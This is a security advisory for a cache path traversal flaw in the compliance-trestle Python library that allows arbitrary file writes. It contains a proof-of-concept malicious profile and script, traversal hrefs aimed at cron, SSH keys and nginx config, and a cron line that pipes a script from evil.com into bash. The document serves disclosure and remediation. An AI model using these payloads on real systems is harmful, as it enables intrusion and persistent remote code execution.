PT-2026-44160 · Pypi · Compliance-Trestle

Published

2026-05-27

·

Updated

2026-05-27

·

CVE-2026-45725

CVSS v4.0

7.1

High

VectorAV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.
Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:259-266 — HTTPSFetcher cache path construction

class HTTPSFetcher(FetcherBase):
  def  init (self, trestle root: pathlib.Path, uri: str) -> None:
    # ...
    u = parse.urlparse(self. uri)
    # ...
    if u.hostname is None:
      raise TrestleError(f'Cache request for {self. uri} requires hostname')
    https cached dir = self. trestle cache path / u.hostname
    # ❌ path parent preserves ../ sequences from URL
    path parent = pathlib.Path(u.path[re.search('[^/]', u.path).span()[0] :]).parent
    https cached dir = https cached dir / path parent
    https cached dir.mkdir(parents=True, exist ok=True) # ❌ Creates dirs outside cache
    self. cached object path = https cached dir / pathlib.Path(pathlib.Path(u.path).name)

cache.py:285-295 — Content written to traversed path

  def do fetch(self) -> None:
    # ...
    response = requests.get(self. url, auth=auth, verify=verify, timeout=30)
    if response.status code == 200:
      result = response.text # ❌ Attacker-controlled content
      self. cached object path.write text(result) # ❌ Written to arbitrary path

cache.py:328-333 — SFTPFetcher (identical pattern)

class SFTPFetcher(FetcherBase):
  def  init (self, ...):
    # Identical path construction — same vulnerability
    sftp cached dir = self. trestle cache path / u.hostname
    path parent = pathlib.Path(u.path[re.search('[^/]', u.path).span()[0] :]).parent
    sftp cached dir = sftp cached dir / path parent
    sftp cached dir.mkdir(parents=True, exist ok=True)
    self. cached object path = sftp cached dir / pathlib.Path(pathlib.Path(u.path).name)
Root Cause:
  1. urlparse("https://evil.com/../../../tmp/pwned.json").path = /../../../tmp/pwned.json — preserves ../
  2. pathlib.Path(u.path).parent preserves traversal sequences
  3. cache dir / hostname / "../../../../../../tmp" resolves outside cache
  4. mkdir(parents=True, exist ok=True) creates intermediate directories
  5. write text(response.text) writes attacker-controlled content to traversed path
  6. No is relative to() boundary check on the resolved path

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious profile.yaml — arbitrary file write via cache traversal
profile:
 uuid: "550e8400-e29b-41d4-a716-446655440000"
 metadata:
  title: "Malicious Profile"
  version: "1.0"
  last-modified: "2024-01-01T00:00:00+00:00"
  oscal-version: "1.0.4"
 imports:
  - href: "https://evil.com/../../../../../../../tmp/trestle pwned.json"

PoC: Cache Path Traversal Simulation

#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse

# Simulate trestle cache behavior (cache.py:259-266)
trestle root = Path(tempfile.mkdtemp(prefix="trestle poc "))
cache dir = trestle root / ".trestle" / ".cache"
cache dir.mkdir(parents=True, exist ok=True)

evil url = "https://evil.com/../../../../../../../tmp/trestle pwned.json"
u = urlparse(evil url)

# Exact trestle code path
cached dir = cache dir / u.hostname
m = re.search(r'[^/]', u.path)
path parent = Path(u.path[m.span()[0]:]).parent
cached dir = cached dir / path parent
cached dir.mkdir(parents=True, exist ok=True)
cached file = cached dir / Path(Path(u.path).name)

print(f"Cache dir: {cache dir}")
print(f"Resolved write target: {cached file.resolve()}")
# Output: /tmp/trestle pwned.json ← OUTSIDE cache directory!

# Write attacker content
attacker payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce proof"'
cached file.write text(attacker payload)
print(f"Written: {cached file.resolve().read text()}")

# Cleanup
os.remove(str(cached file.resolve()))
shutil.rmtree(str(trestle root))
Expected: Write confined to .trestle/.cache/ directory Actual: File written to /tmp/trestle pwned.json (arbitrary filesystem location)

Remediation

Fix for HTTPSFetcher (cache.py:259-266):

class HTTPSFetcher(FetcherBase):
  def  init (self, trestle root: pathlib.Path, uri: str) -> None:
    # ...
    u = parse.urlparse(self. uri)
    https cached dir = self. trestle cache path / u.hostname

    # ✅ Sanitize path: remove traversal sequences
    safe path = pathlib.PurePosixPath(u.path).parts
    safe path = [p for p in safe path if p != '..' and p != '/']
    path parent = pathlib.Path(*safe path[:-1]) if len(safe path) > 1 else pathlib.Path('.')

    https cached dir = https cached dir / path parent
    https cached dir.mkdir(parents=True, exist ok=True)
    self. cached object path = https cached dir / safe path[-1]

    # ✅ Boundary check
    if not self. cached object path.resolve().is relative to(self. trestle cache path.resolve()):
      raise TrestleError(
        f"Cache path traversal blocked: URL '{uri}' resolves to "
        f"'{self. cached object path.resolve()}' outside cache directory"
      )
Same fix required for SFTPFetcher at lines 328-333.

References

Impact

1. Cron Job Injection → Remote Code Execution

# Profile that writes a cron job
imports:
 - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"
Attacker's server responds with:
* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'

2. SSH Authorized Keys Injection

imports:
 - href: "https://evil.com/../../../../../../../root/.ssh/authorized keys"
Attacker's server responds with their SSH public key.

3. Config File Overwrite

imports:
 - href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"

4. Python Path Hijacking

Write malicious .py file to a location on sys.path for code execution on next import.

Fix

Weakness Enumeration

Related Identifiers

CVE-2026-45725
GHSA-G3VG-VX23-3858

Affected Products

Compliance-Trestle